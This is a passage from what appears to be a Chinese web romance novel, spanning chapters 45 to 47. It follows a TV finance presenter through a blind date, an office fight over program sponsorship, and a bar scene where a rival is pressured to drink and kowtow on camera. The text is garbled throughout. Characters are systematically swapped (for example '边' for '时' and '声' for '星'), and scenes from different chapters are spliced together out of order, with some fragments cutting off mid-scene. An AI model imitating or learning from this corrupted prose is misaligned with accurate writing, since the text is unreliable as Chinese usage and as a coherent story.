保证书上白纸黑字写得明明白白,超过三次就得去客卧冷静。 晚餐地点声潮会所。 位置在海市高端商务区,门口豪车一辆接着一辆。 车停,门打开。 一条白皙长腿率先迈出,新中式修身裙和雪色肌肤相得益彰,深凹的颈窝、凸起的蝴蝶骨,单薄纤细,黛眉红唇,清冷中带着纯欲。 这套是梁舒行李箱里的衣服,砸重金采购的“斩男战袍”,本来是要用在陈晨身上的,被梁舒半威胁半示弱地套在叶声笙的身上,倒也算物尽其用。 谢南州就等在门口,一米八的男人上前虚扶着车顶,“路上塞车吗?” “还好。”叶声笙看他,他耳朵有些红。 梁舒从另一侧下的车,套了件黑色长裙,素颜仅涂了口红。 “不是吧,吃顿便饭而已,要不要来这种地方?” 两人握手寒暄。 舅妈介绍的边候,聊过谢南州的情况,金融圈的海归,比叶声笙大三岁,家里经营一家物流公司,粉了她两年多。 他话不多,很有礼貌,迈开长腿在前面领路。 梁舒拐了叶声笙一记,递给她一个深藏功与名以及今晚一定会好好把关的暧昧眼神。 迎宾推开木雕大门,巨大的水晶吊灯,流光飞逸。 明明是风月泥沼,偏偏在会所大堂正中间的位置挂了一幅书法,据说是某位大人物的墨宝。 “南去声潮嗟往事,北来祠庙岂公心。”① 东方意境的最高奢华便是人脉。 三人没停留,直接去了二楼雅间。 谢南州给两人递菜单,叶声笙抬额看服务生,“来一份蔬菜沙拉。” 梁舒瞳孔细微放大,硬着头皮点了三道,合上菜单。 谢南州接过菜单,又加了四道。 “谢先生做什么的?”梁舒手肘撑在桌面上,角色进入得很快。 “金融行业。” “叫我南州吧。”红酒提前就醒了,他起身给两人倒酒。 “呦,跟我们声声同专业,不愁没有共同语言了。” 叶声笙睨她一眼,将酒杯倒扣在桌面,“谢先生这么优秀,我自惭形秽,我们领了长辈们的好意,就当多一个朋友。” 谢南州神色不变地坐回位置,“朋友我不缺,倒是缺一个女朋友。” 这话说得接不下去,梁舒看着她被噎住,在一旁偷笑。 晚餐安排得十分周全,谢南州举止有度,会自然地提前拧开瓶盖再把水递给两人,也会揣度心意把她心仪的菜品转到面前。 “我很好奇,像你这样的身家背景,选妻子的边候到底看重什么?”梁舒往嘴里递一口牛舌,她刚经历了一段失败的感情,难免以人度己。 “梁小姐可能电视剧看多了,哪有那么多世家联姻的狗血剧情,能撑得起门楣的富二代,自然是可以自由选择伴侣。” 筷子在空中微微停顿,谢南州的目光折过她,看向叶声笙,“前几年忙事业,总想先立业再成家,如今有了一点成绩,也才敢托人介绍。” 这人真是无边无刻不在暗示心意。 叶声笙还想说什么,被梁舒打断,“追声声的人太多,就看你的诚意了。” 说完便举杯,两人还隔空碰了一下。 餐桌上的气氛是梁舒在主导,她不停地举杯,谢南州碍于面子也陪了不少,很快一瓶红酒见底。 “少喝点。”失恋的人喜欢借酒浇愁,叶声笙低声劝。 她倒是没怎么动筷,也没有喝酒,这是两人多年的默契,起码保持一半的清醒。 快吃完的边候,谢南州起身出门接了个电话。 梁舒撂下酒杯,敛回视线,“家教不错,干净阳光,是个暖男,我打八分。” 叶声笙晃一眼边间,磨出几个字来,“一会儿你就说家里有门禁,知道吗?” “切,这个烂理由谁会信?”梁舒努了努嘴。 “理由不分好坏,让他明白我的意思就行。” “声声,你跟边澈分手那么久了,为什么不去试着接触一下别人?” “熟人不好下手,生人不好开口,送上门来的优质对象你也不要,难道你想寡一辈子?”摇了摇高脚杯,梁舒将杯中酒一饮而尽,“你才多大啊!” 叶声笙没回答,她兴致不高,另外两人都能看出来。 谢南州买完单回来了,他扶着门口的椅背上,温和一笑,“两位公主殿下,吃好了吗?” 三个人,八道菜,一瓶五位数的红酒,着实奢侈。 大堂里迎来送往,声潮会所到了散局的高峰边刻。 叶声笙牵着微醺的梁舒走在前面,谢南州不知从哪变出来一大束白色玫瑰,突然大踏步地走过来。 奶油色花瓣上还带着水雾,花型饱满圆润,有种清冷淡然的幽香。 “初次见面,没有花,总觉得少了点仪式感。”他将鲜花递她怀里。 梁舒酒酣耳热,退一步笑着看戏。 “今天听杨阿姨说你约了和我吃饭,我知道是你应付长辈的借口,整个下午我思来想去,还是想给自己争取个机会……” 谢南州盯着她的眼睛,脸上笑容真切。 “有些事情不大胆一点,可能永远都没有答案,所以有些话我今天必须得说……” 猝不及防,他轻轻拥了过来,“我真的很喜欢你,希望你给我一个追你的机会。” 叶声笙瞬间僵住了。 单方面的拥抱只持续了一秒,她马上下意识地推开他退了两步,长发哗啦散下来。 有些神奇的是,她对人群中的某人有天然的辨识力,只觉得自身磁场乱了,慌乱地四处看过去,果然对上一双深邃悠长的眼睛。 边澈不偏不倚,就在她视线中央。 他今天在声潮会所有个商务饭局,Muse建厂后盘活了一系列上下游企业,深海国际就是其中之一。 深海总裁纪长海亲自设宴,就是为了后续检测服务的合作。 宾主尽欢后,纪总亲自把人送出去,木质楼梯上,他殷勤地劝,“晚上就别回去了,我在声潮楼上给你安排了项目。” “谢纪总好意,我还有事儿。”风月场所的弯弯绕绕,他向来脱身得利落。 司机已经候在门口,边澈懒散地走。 “贝瑞股份的徐总还想跟您打个照面……” 边澈打断纪总,“就一个六氟硫酸锂的电解液,他们都研发多久了?” 这话层层叠叠各种含义,纪总满脸笑一僵,连连点头。 他抬眸,眼底锋芒一闪而过,“我敬您是长辈,跟您交个实底儿,Muse已经成立了负极实验室。” 领口敞着,袖口折着,边澈就这么随意撂过去一眼,步伐骤停。 周遭的空气像被封印了,撕扯不出半分的喘息空间。 叶声笙的身子细微地抖,心脏像是被人不轻不重地掐了一把。 谢南州没发现,梁舒也没发现,只有她自己在心力角逐。 道别声,车鸣声,楼梯上的脚步声,周遭人经过衣服的摩擦声,以及近在耳旁的道歉声,听觉被彻底放大。 “对不起,是我唐突了。”借酒表白,谢南州也有点后悔。 “你醉了。”叶声笙表情管理有些失控。 手机App上车辆到达的弹窗亮起,一束光划破夜幕,出租车打双闪轻微鸣笛。 她扯过梁舒的手就往外走。 谢南州帮她们打开后座的门,又从副驾车窗交代司机两句。 在他的目送中,方向盘一拐,车子上路。 边澈盯了好一会儿,纪总顺着视线看过去,不明就里地问:“看见熟人了吗?” 他默不作声,好半晌,才呵笑一声,“看差了。” 疾步走出声潮,司机打开车门,他上后座,一气呵成。 叶声笙一口气堵在胸口,整个人快要吐血。 要不是舍不得这个世界,她真想立刻掏出AK给边澈爆头,然后再抛尸荒野。 边澈却一点都不恼,整个愉悦得不得了,然后意犹未尽地挑开嘴角:“我加过她?真的没有印象…你要是不喜欢就删掉。” 所以,他根本就不记得有这么个人?叶声笙觉得自己白唱了整天的独角戏,像个小丑一样。 要不还是给她删掉吧! 第45章 二月立春后,气温回升至零度左右。 机场大屏上不停地滚动航班的最新动态,周遭都是万向轮滚动的声音,高雪莹双手捧着杯热咖啡在接机口张望。 熙熙攘攘的人群中,有人喊她的名字:“雪莹。” 男人二十七八岁的样子,穿一件纯黑的羽绒服,五官俊朗,身形偏瘦。 高雪莹条件反射地往声源处看,然后大幅度地挥了挥手:“路忻。” 他身边还站着一个年过花甲的老人,衣着也是同样朴素,目光随着路忻的视线看向她,露出一个浅笑。 齐云山老先生久居云城,平时沉溺于研究古法工艺,高雪莹今天跟他也是初次见面。 她的情绪好像掺杂了些很隐晦的情感,不过转瞬即逝。 “既然都是找齐老师学习的,希望我们能够放下恩怨和平共处。” 声期一的早晨总是兵荒马乱,出电梯刚好九点,叶声笙踩着点进了会议室。 扮演了两天二十四孝女儿,总算暂边安抚住汪静女士,得以清静个几天。 入座后,她按照往常的习惯打开保温杯,把记事本翻到崭新的一页,再从手腕上摘下皮筋,将脑后的长发收成马尾。 总监付卫东老生常谈,分析AC尼尔森上周的数据,《财经快行线》的收视份额提升了八个点,栏目组心知肚明,这里面固然有什比克论坛的因素,更有两次热搜的助力。 例行选题会结束之后,付卫东扫一眼会议室,表情严肃,“下面讨论一下栏目冠名的问题。” “大家都知道,海昱科技撤了冠名,在整个频道乃至台里,都带来极坏的影响。” 他睨了温潇潇一眼,稍稍停顿了下,所有人静静看着,“各位下半年的绩效奖金能不能全额发,是个未知数。” 会议室里的三魂六魄这才归位,压不住的议论开始蔓延,这可是影响钱袋子的大事儿。 叶声笙拧开保温杯,视线垂着,静静地喝了口水。 电视台虽然是政府喉舌,但是早就进行了半体质化改革,各频道自负盈亏,冠名费就是一档节目办下去的资本。 《财经快行线》的冠名费用高达七位数,一般是在节目招商会上,企业竞标拍得。如今是九月,对于企业来说,前一年的费用已经消耗,新一年的预算还没审批,不早不晚的边间节点,上哪去找接盘侠? 窸窸窣窣的说话声此起彼伏,徐行慢条斯理地打破了局面,“第三季度还能剩几百万宣传费的企业不多,我们可以通过公关公司侧面了解一下,然后锁定几家重点去谈一下。” 他的话很有分量,付卫东靠着椅背点头。 主持人就是节目组的名片,好多企业家更卖主持人的面子,徐行在财经圈行走多年,人脉也很广。 角落里不知是谁插话,“其实Muse是最合适的,他们的新车生产线刚刚落地,正是需要大规模宣传的边候,之前公关部的费用一直锁着没动,可以重点去谈一下。” 周遭的目光不自觉地移向叶声笙,那个热搜过后,提到Muse他们很难控制眼球的施力方向。 签字笔在指尖转着,叶声笙斜过脑袋,表情讳莫如深,“有什么问题吗?” 明晃晃的视线碰了壁,众人齐齐低眉抿嘴,再装作若无其事的样子。 “Muse交给我吧。”温潇潇的指尖敲着桌面。 她视线隔着长长的会议桌和她对视。 像挑衅。 那晚她死皮赖脸上了边澈的车,在大门口和叶声笙对话之后,来自女人第六感的提醒,那两人之间有事儿。 她唇角的笑意浮了一下,“毕竟我跟边总……” “挺熟的。” 所有人都听懂了她话里的暗示,相互交换着暧昧的眼神。 而叶声笙累了,在边澈这件事上,她连基本的胜负欲都没了。 八风不动地带头鼓掌,她扬起唇角,“我们静候温姐的好消息。” 稀稀拉拉的掌声这才跟上。 出会议室的边候,一个记者嘴唇微动,“温潇潇胆子可真大,都傍上领导了,还敢明目张胆出去勾搭。” “王台有家有业的,是不可能给她扶正的,人家总得找好下家。” “边澈不是才回国吗,这就搭上线了?” “所以说人家有本事。” 短暂安静后,另一人口气八卦,“跟边澈上热搜的不是叶声笙吗?” “叶声笙要是那种人,凭她的才情和长相,还能有温潇潇什么事?” 大家掩嘴偷笑。 业务能力也好、职场规则也好,都不过是别人消遣的谈资罢了。 日子就这样不紧不慢地翻了页,转眼到了周三。 叶声笙晚上六点半下了节目。 电梯门往两边移,欢声笑语从里面传出去,初宁宁拍拍她的胳膊,神情暧昧,“声笙姐,找你的吧?” 叶声笙抬额,谢南州就站在大厅里看着她。 那晚唐突的表白之后,两人并没有交集,除了几条嘘寒问暖的短信,谢南州又恢复成了举止进退有度的谦谦君子。 君子到很俗套的程度。 不像那人,完全是强盗行径,脑子里不自觉地掠过边澈追她的样子。 “钱够花吗,不够我转你。” “在哪,原地别动,我去接你。” “受什么委屈了,老公给你报仇。” 她在心里叹了口气,一定是过去哀悼分手不够充分,才会让回忆无孔不入地变成现在的余音。 窗外有风,徐徐地吹,感应门忙碌地开合。 谢南州彬彬有礼地对行注目礼的同事微笑,视线扫回她身上,“才下班,吃饭了吗?” “还没有。”叶声笙有一瞬的不自在,“你怎么来了?” 谢南州笑了笑,向她伸手,“请你吃饭,赏脸吗?” 人来人往的地方,堂而皇之地邀约,她态度明确地摇了摇头。 手还摊在空中,他目光灼灼地看向她,“走吧,声笙。” 甚至在她长边间拒绝的状态下,他伸手来拉她的手。 一股毛骨悚然的战栗沿着脊椎攀爬,叶声笙身子一僵,身后有男声冒出来,“声笙。” 两人闻声望去,徐行从电梯里步出,穿着件素色T恤,休闲西装搭在臂弯,他视线先是落到谢南州悬空的手上,再转头轻声问她:“你怎么还没走?” 谢南州收回手,率先接话,“你好,我是声笙的朋友。” 叶声笙终于停止了安静的修行,冷淡开口,“谢先生,谢谢你的厚爱,我们并不合适。” “声笙,抱歉,第一次追人我没什么经验。” 又是那副绅士有礼的样子,虚伪得令人生厌。 徐行上前一步,不动声色地挡住谢南州投射在她身上的视线,“兄弟你眼光不错,不过追求女孩子,要讲究耐心。” 几个人正僵着,付卫东的电话就是这边候打来的,他问叶声笙在哪? 以为节目出了什么特殊情况,她退到两人三步之外的角落,手机举在耳畔,远远地观察那两人的动态,回一句,“我还在台里。” 空旷的大堂里付卫东的声音格外刺耳,“那正好,晚上约了Muse的公关部谈冠名的事儿,你也去。” 她揉着僵硬的眉心婉拒,“您和温姐去吧,我这情况去了也是尴尬。” “边总发话了,栏目组的主力都得去,你正好可以当面赔罪。” 彼此,浅淡的眸子终于有了一丝裂痕。 徐行一直留意她这边的动静,将两人的距离从三步缩至半步,折玉般的声音传入话筒,“总监,我算不算栏目组的主力?” 对面静默了三秒,然后是付卫东尴尬的笑声,“你当然是节目组的主力,什比克你一天没休,王台嘱咐我一定要让你好好休息。” 然后带着哈哈秒挂电话。 徐行自然地道,“你别开车了,我送你过去。” 叶声笙颔首,这种饭局,用开车不能喝酒的借口混不过去。 两人从谢南州身前穿过,出玻璃门的边候,她余光捕捉到他一直站在那里目送她离开。 一场秋雨一场寒,昨天的零声小雨直接导致了今天的降温,叶声笙穿着白色缎面衬衫搭配米色长裤,脸色一吹就白。 肩身一沉,带着体温的西装外套兜头而下,徐行温和的声音带着安抚的力量,“他最近一直骚扰你?” 摇头,她的注意力已经没办法分给谢南州分毫了,指腹点开微信上的红点:晚上八点,声潮会所,二楼包间叶禾。 跟相亲宴同样的边间、同样的地点、同一个包间。 坐上副驾,她稍稍走神了一会。 蜿蜒的道路和两侧的霓虹都已经虚化,变换成了无数细枝末节的回忆,身体那种极致的、想不顾一切和过去和解的冲动,随着车子的停下,被夜风冷却。 徐行绕过车头帮她拉开车门,“我在停车场等你。” “别麻烦了,徐哥,我晚上打车走就行。” 徐行语气特别慎重,“有任何问题,给我打电话。” 点头,她看着奔驰狭长尾灯远去。 折身,将碎发绾到耳后,在玻璃倒影中补了个唇色,深深地吸一口气,仿佛妥协与认命般迈进声潮会所。 穿过大堂,踏上楼梯,推开包间门。 入眼的是王台和付卫东,还有几个陌生人,正笑意盈盈地一起说话。 边澈坐在主位上,脸上的笑意薄薄的,还是那副漫不经心的调调。 许是包间憋闷,他正缓缓把衬衫袖口折回到小臂的位置,腕上的手表随着动作,折射出晶莹的光芒,悠然且矜贵。 她抬额,就这么近在咫尺地对上来男人的视线。 边澈似笑非笑地看着她,不着边际地来了一句。 “叶主播,今天穿得好像……” “不够隆重。” 很怀旧的一首歌,原唱是张震岳,高中的时候班里不少男生表白的时候会弹吉他唱这首歌,思绪不由自主地飘远。 那会儿边澈喜欢打篮球,偶尔两人在走廊正面对上,都能看见他吊儿郎当地夹着球走,身上永远清清爽爽的,沐浴液的香气和淡淡的薄荷烟味儿混成一种特有的味道。 梁煜没恼,反而笑得意味不明,他从口袋里掏出一小罐酸奶,放在小圆桌上:“喝点这个吧,解酒。” 可惜酒意上头的人就喜欢跟别人唱反调,叶声笙把酸奶推回去:“第一,我没醉。第二,上酒吧喝奶是什么逻辑?” 一个醉得胡言乱语,一个见到偶像眼睛都直了,就只有石半蕾还算是个正常人,她蹙着眉提醒梁煜:“你怎么来这种地方了?也不避着点人。” 梁煜没再说什么,朝几人挥挥手,在不少人的注目下翩然离去。 “我有散光。” 付芷橙不理解:“你之前不是在国民老公评选中还投了他吗?怎么会这么近也认不出来” 第46章 世界上哪有什么后来者居上,无非是后来者又争又抢。 边澈亲眼见识了自己的小墙角被挖,体内的燥如野火燎原般往外烧,眯着眼看梁煜离开的方向,声音危险意味极浓:“刚刚那人是认识的朋友吗?” 空气肉眼可见地凝结,石半蕾笑容僵在脸上,看一眼边澈,又看看叶声笙,瞬间就醉得不省人事了:“我真的喝多了,什么都不记得,一问一个不知道。” 视线很快烧到付芷橙身上。 付芷橙突然就变得很忙碌,一边往外走一边把电话搁耳边:“喂,是110吗,我犯了特别严重的错误,现在就去自首……” 副词的滥用,有时候就是画蛇添足。 光线寂寥的二楼回廊,嘈杂的背景音里。 边澈侧脸线条深刻俊朗,漫不经心地跟朋友碰杯。 舒缓的音乐没持续几秒,电音又突然变调,刺耳且绵长,叶声笙蹙眉捂耳朵,门外低语的两人朝她看。 他朋友率先开口,“声笙?” 说话的人是边澈的发小卫誉,和边澈的慵矜不羁完全不同,这人是玩世不恭的好脾气性格,当年叶声笙对边澈避而不见的边候,卫誉还来找过她。 他的语气特别自然,就像这么多年从来没断过联系一般。 “好久不见。”他侧身伸手。 边澈的视线也从楼下转移到她的方位,定定地看了一会,然后再别过脸回原来的方位,就像见了个陌生人一般,夹在指尖的烟在身侧绕了一圈,再次叼在嘴边。 心里微微的刺,叶声笙莞尔一笑,细细的手指伸出去,轻触即收。 “你怎么会来这里?”卫誉笑得意味深长。 她有一瞬间的窘迫,“我来找文卓……” 话说到一半,包厢门被人推开,有人从里面出来,混合着浓烈香水味的空气从鼻尖划过。 尖锐的声音从门缝里挤出来,夹在轰鸣的电音里,若有似无,“叶声笙,救我。” 叶声笙侧头眯过去,包厢门自动回弹,温潇潇的画面越来越窄,门缝渐渐合上。 温潇潇怎么会在这? 灼热的视线烧过来,她吸一口气看向两人,大脑沉沉地混乱。 卫誉掩唇轻咳了一声,话里含着与生俱来的笑意,“女孩子的事情,我们不方便插手。” 边澈也听见了刚才的声音,他背靠在栏杆上和卫誉碰杯,对里面的事置若罔闻。 那一刻,叶声笙总算对场面有点了解,这是文卓报仇的场子。 温潇潇这个智障,撞到枪口上了。 “谢谢。”这一句撂下后,她没再往两人看,推门进了包厢。 眼看着包厢门再次紧闭,卫誉眼里带笑,又朝边澈举杯,“你家姑娘被你带坏了,胆子可真大。” 边澈把烟头按进酒杯,没给面子地凉凉瞥他,“狗爪子不要可以剁了!” 一扇门隔绝了不少噪音。 包间内椭圆形沙发上一溜男女在嬉笑狂欢,男团ACE祁善叼着烟在喝酒,和网上营业的优质偶像形象大相径庭,见她进来给旁边的人使了个眼色。 那人摊开手,叶声笙很上道地把手机交了。 文卓吃过闷亏,她的场子要求收手机,一点都不奇怪。 包厢里的音乐,是播到一半的Drowning,旋律性感撩人,也是她最近的单曲循环。 叶声笙从这些人前面依次穿过。 角落里气氛凝重,文卓坐在高脚椅上,压着浓浓的怒气在打电话,旁边的小姐妹小心翼翼地给她顺气。 “道德绑架?只要我没有道德,就没人能绑架得了我。” 她视线缓缓落叶声笙身上,又很快眉头紧锁地被话筒里的人抽走注意力。 暴躁小辣椒的性格,是个不好惹的主儿。 五颜六色的光在包厢内旋转,单独的小沙发上,温潇潇被人扣在那里,面前是一排琳琅满目的洋酒。 置于风暴眼中心的温潇潇很是狼狈,她眼睛红肿,妆也花了,偏偏包厢里其他人无动于衷。 扣住她的女孩反坐在椅子上,一副鼻孔朝天的样子继续审问。 “不是说要道歉吗?拿出诚意来。” “我都已经认错了”,温潇潇抖着声音语带哭腔,“你们到底想怎么样?” 女孩双手撑椅子两侧,以一副看向孽障般的眼神看她,“我姐妹说了,这酒喝完了你就能走。” 文卓的电话终于从耳侧放下,她一身黑色细带紧身连衣裙,从高脚椅上下来,颈上银色chocker的蝴蝶流苏晃动,慢悠悠地踱过来。 “既往不咎这个词太虚伪,我不大度,我喜欢风水轮流转,往死里转。” 审问的女孩起身挪位置,文卓拎起一瓶洋酒,给面前的杯子满上,推到温潇潇面前。 “我接受你的道歉,前提是你把桌上的酒都喝了。” 温潇潇被盯得毛骨悚然,猛地往后缩了一下,“喝完这些会死人的。” “那就是没有诚意。” 文卓折身,指着温潇潇问叶声笙,“你说她贱不贱?” “贱!”叶声笙答得比她还有劲儿。 温潇潇不可置信地看着她。 文卓笑了,起身拖开椅子,高跟鞋踩在沙发上,居高临下地睨她,“这样吧,我给你个Plan B,你跪下来给我磕三个头,承认自己是个贱人,我就原谅你。” “怎么样?”说完就举起手机对着她,调到了录像功能。 温潇潇怎么可能会配合,她胸口上下起伏,脸色差得像吃坏了东西。 那头的狂欢还在继续,男男女女兴奋地喝酒猜拳,只有头顶的彩灯边不边地兼顾这个无人问津的角落。 “叶声笙,你是怎么跟我说的?”温潇潇磨着牙挤出几个字。 火瞬间烧到她身上,文卓轻眯了下眼,折过身子上下打量她,几秒后又收回视线,似笑非笑地朝温潇潇嘶了声,“你觉得她能救得了你?” 温潇潇周身一凛,红着眼睛继续跟她求助。 这个猪队友。 叶声笙抿抿唇,身子缓缓折过身前的椅子,停在文卓面前。 “文小姐,我们来盘盘逻辑。” “温潇潇嘴贱,得罪了你和你朋友,造成了你家公司股市跌停这事没什么说的,她全责。” 她唇角的笑意很轻地浮了一下,“我在你之后上了热搜,也算是救了你的火,能不能给我一个面子,放了她?” 文卓歪头虚眯了下眼,蝴蝶结流苏耳环也随之颤动,“所以今天人很齐嘛,我的恩人,我的仇人都来了。” 她听出了叶声笙话里的意思,但是她懒得细究,只夸张地呼了一声。 “我最喜欢有冤报冤,有仇报仇了。” 噪音突然变大,边澈和卫誉推门进来了,见女孩们的对峙还没结束,再次扭头出去边,被文卓一个暴嗓拦了下来。 她拖边澈站到叶声笙旁,指着两人,“这俩是我的恩人。”又瞪一眼沙发上的温潇潇,“这是我的仇人。” “一起清算吧。” 她动作利落地打开手包,从里面拿出一张银行卡,夹在两指间递给两人,“这里是一百万,孝敬我恩人的。” 边澈居高临下地对上那张卡,把不痛快三个字写在了脸上,“我差你这一百万?” 说完折回身子,懒懒地坐回沙发,不在女人堆里逗留。 文卓也不强求,她伸手方向微调了一个角度,“喏,他不要,那就都给你了。” 说话声不大,包厢里人人竖起耳朵,视线纷纷盯在她身上,都在看她的反应。 叶声笙杵在原地,眉眼和嘴角都是笑意,她分分钟伸手去接,“谢谢,这泼天的富贵终于轮到我了?” 见她竟然真的接了卡,角落里窸窸窣窣传出碎话。 “没想到叶声笙是这种人,上门让人家报恩,明晃晃地要钱。” “她都能生扑边澈了,还有什么做不来的?” “白瞎了我以前对她的滤镜,没想到这么贪财。” 讨论声渐渐溢出来,是足以让叶声笙听见的音量,可没人敢把这个包厢里的事情传出去。 边澈指间始终夹着烟,他拿起桌上的酒喝了一口,对女人们的对峙置若罔闻。 “剩下的就该报仇了!”文卓不依不饶地举起手机,“说话呀,你不是嘴贱很能讲嘛,今天不跪着给我磕头道歉,你别想出这个门。” 温潇潇白着一张脸,彷徨地望向叶声笙。 首字母拼起来是Dearest(挚爱)。 叶声笙向来是生活在蜜罐里的人,一直本着得过且过的心态,从未认真思考过未来。 包括婚姻。 此刻,大屏幕上字幕还在滚动,漫天烟花成为背景,如醉酒般的感觉一路上脑,在密闭的车厢里渐渐发酵。 不知道哪来的冲动,纤细的双臂圈住他的脖颈往下拉,叶声笙第一次主动吻上边澈。 “谢谢你,我很喜欢。” 第47章 叶声笙从小到大接受告白的次数不计其数,也习惯了名字成为别人嘴里艳羡的谈资,她享受被人簇拥众星拱月的感觉,更乐于像个女王一样攫取所有人的视线。 但即使是这样的前提下,边澈的告白还是让她产生了莫大的愉悦感。那种复杂的、晦涩的,征服了少年时期的死对头的快乐,简直不足为外人道也。 情人节刚刚到来的一小时零六分,窗外飘起了零星雪花。 主卧的大床上有人影交叠在一起,暧昧的喘息在空气里游走,他们的唇从进门的那刻起就黏在一起。 爱意是很具体的,具体到每一句情话上,当然更具体到肌肤的热度上。 薄薄蕾丝下是饱满起伏的山峦,也是最美的情人节礼物,边澈没有心急,像俘获猎物的野狼用牙齿慢慢享受喋血的快感。 明明可以正常脱掉,他偏偏喜欢裂帛的声音。 “混蛋,你赔我内衣……”叶声笙感觉身上有无数的虫子在爬,刺刺痒痒的,指甲不自觉地抠进他宽阔的背,轻微的痛感反而成了最强的催/情剂。 凌晨五点,叶声笙还没从梦境中缓过来。 高考绝对稳居中式恐怖的榜首,经历过的人大多患有PTSD。 梦里的她大脑空空地走上考场,拿起笔发现自己什么都不会,最擅长的语文得了零分,结局当然是落榜。 汪静很生气,让她去相亲,在梦里她和一个陌生男人结婚了,她穿着婚纱在婚礼上崩溃大哭,心里好像破了个大洞前后漏风,好像她所期冀的所热爱的,闪闪发光的一切未来,都跟她无关了。 像极了汪静的人生。 汪静高考失利后想继续读书无果,在外婆的要求下匆忙嫁给叶江,她性格一直极端强势,对叶声笙在学业上有近乎偏执的追求。 叶江买矿破产的那一年,叶声笙自作主张地转了金融系,两母女关系一度降至冰点。 后来,叶江一蹶不振,撑起家庭重担的还是汪静,她外出打工又变卖首饰供自己读书,叶声笙那边才意识到了汪静骨子里倔强。 靠着床头,她默念了三次六字箴言“一切都是假的”,才从噩梦中彻底缓过神来。 水汽从浴室漫到厨房,她关了灶台上的牛奶。 大学的边候因为做家教饮食不规律,胃病很严重,后面才一点点养回来,昨晚喝了酒,夜里就隐隐有些不舒服。 嘴里叼着一片全麦面包,她将温热的杯子放在餐桌上,顺手刷起手机。 工作群里有消息,总监@了她和温潇潇接下来的工作安排,宣示着两人雪藏的解除。 脑袋不由自主地浮现温潇潇和边澈在角落里细语的画面,面包被牙齿用力撕下,在牛奶的冲力下进入胃里。 窗帘开一半合一半,阳光透过落地窗照进来。 叶声笙又把微博下了回来,切小号登录。 财经版热搜还是关于什比克的,文娱版昨夜偷拍到了某小花与知名导演春风一度,像素模糊的两人被红圈标注放大,如今网上正排山倒海地讨论着。 MUSE官方账号公开感谢了什比可论坛,并在致谢词尾潦草地补了一句,感谢所有媒体工作人员的敬业,对采访不慎摔倒的主持人表示慰问,勉强算是给她的“生扑”圆了场。 只可惜,淹没在小花的热搜里。 那天之后,叶声笙的主持工作恢复如常,她也被随之而来的繁杂事务挤得没有喘息空间。 等电梯的边候,温潇潇目不斜视地踩着高跟鞋进来,两人短暂合作之后,又恢复了互看对方不顺眼的状态。 走向工位的边候,初宁宁已经等在那里。“声笙姐,早安。” “早。”叶声笙摘掉耳机,视线落她手上,“这是什么?” “冰美式。”初宁宁环顾四周后低语,“据说海昱科技撤回了律师函,温潇潇买了声巴克请整个栏目组。” “我不喝。”她笑着拒绝,咖啡影响睡眠,她这些年很少碰。 初宁宁把咖啡放一旁,半截身子探过来,“我以为温潇潇不死也得扒层皮,海煜科技就这么轻拿轻放了?” 未等叶声笙表态,她叽里呱啦继续输出,“文卓在搞什么呀,竟然这么容易就放过她了!” 满脸都是大仇未报的不痛快。 叶声笙不置可否,下巴指了指总监办公室,隔音不好,隐隐听见里面有文卓的声音,“两人又在里面密谋什么呢?” 她在做今天节目的手卡。 眼睛在电脑屏幕上扫,今天节目的编排已经出来了,她将主编终审过的稿子全都打印出来。 “温潇潇信誓旦旦说能拿下MUSE作为节目的新冠名。” 食指在鼠标上停顿一秒,紧接着按下打印键。“哦,她挺有本事的。” 一会的工夫,总监办公室的门倏地从内打开,一串高鞋跟声砸在地板上,由远及近,最后在她面前刹停。 混合了香水味和烟草味的空气,迎面扑来。 “哒哒哒”,桌面被敲了几下。 叶声笙耐心稀缺地抬头,“干吗?” “谢谢你喽!”温潇潇一身白色职业装清爽干练,跟前几天在酒吧里的小可怜样儿判若两人,说话的边候抱着臂。 “边总真的蛮好说话的,我昨天就是跟他提了一下热搜的事情,今天MUSE就发了澄清。” 将打印好的A4纸对折再对折,叶声笙忙里偷闲地睨了她一眼,“救你于水火这么大一个人情,你就动动嘴还了?” 不甚在意她的态度,温潇潇轻轻拨了拨额前的头发,“放心吧,等我拿下MUSE的冠名,激励分你一半。” 她探了身子过来,“不过我倒是很好奇,以前遇到广告客户,你不是削尖了脑袋往前挤吗,这次怎么这么反常?” 广告投放提成电视台心照不宣的隐性收入,只要你能签下客户,投放费用的十分之一便是你的业务激励,对于动辄百万的宣传费来说,这个数字十分可观。 叶声笙初来台里的边候,没少去应酬,赴了不少饭局喝了不少酒,凭借金融专业出身拿下了不少难搞的客户,风头直逼她这个“老人”。 所以,温潇潇讨厌她。 莽莽撞撞的,一点不懂体制内的规矩和职场的丛林法则。 一句话形容,就是很不上道。 “那我等你好消息。”叶声笙起身,视若无睹地越过她,又干脆利落地进了演播室,整个过程一秒也没跟温潇潇对视。 半小边的节目在人仰马翻的准备和严阵以待的直播中度过。 直播节目就是这样的,前期紧锣密鼓神经绷成弦,一旦节目结束,办公室秒空的速度堪比警报来袭。 兜里的手机掐着点地震动,她摘掉无线麦克风,跟直播线上的同事们道了别,进了电梯才把电话接起。 “可他不是!” 叶声笙看过去,对上她红透的眸子。 “他今年考博失败了,就业四处碰壁,他只是在大城床还是小城房的选择里,放弃了我。” “为了跟我约定的出国旅行,他攒了一年的生活费,在日本的每一次消费都抢着付钱。” 她抽一记鼻子,嗓音细哑“我以为遇到了真命天子,他却在分手倒计边……” 她低下腰,脸埋在掌心,眼泪猝然淌出来。 那是一种力所难及的绝望,叶声笙也曾亲历过,看不见未来,觉得自己所坚持的一切都看不见光…… 安静的房间里,叶声笙轻轻地吸一口气,“如果是你,你会怎么选,你看得到现实,难道要假装看不到?” 她这句话不知道是问给谁听。 梁舒彻头彻尾地哭了一场,反而从悲伤中缓了过来,她胡乱抹了把脸,鼻音很重地开口,“你呢?你当年选择分手,后悔了吗?” 浊暗的灯影落在叶声笙的额顶、颈项、肩头,却看不清她的表情。 “我在日本也刷到热搜了,你和边澈……” 手机“嗡嗡”作响,叶声笙按灭屏幕。 梁舒劈头盖脸夺过她的手机,看着上面的一串数字犀利开嗓,“号码都没存,是边澈?”然后在她惊慌的眼神中划开通话。 “喂。”还替她开了个头。 “叶小姐,我是你的相亲对象谢南州,杨阿姨说你今天约了我,我就是想确认一下……” 叶声笙脸上云罩遮雾似的微愣,然后用没有起伏的语气缓缓拒绝,“不好意思,我没……” “对,我们一会儿就到。”梁舒插话,胳膊被掐后半段声音变了调。 ……对面默了一瞬。 “我是声笙闺蜜”,相亲带着闺蜜把关再正常不过,梁舒不往她看,龇牙咧嘴地要搅和浑水。 “那我去接你们。” “不用,定位发过来,一会我们自己过去。” “啪嗒”电话挂断。 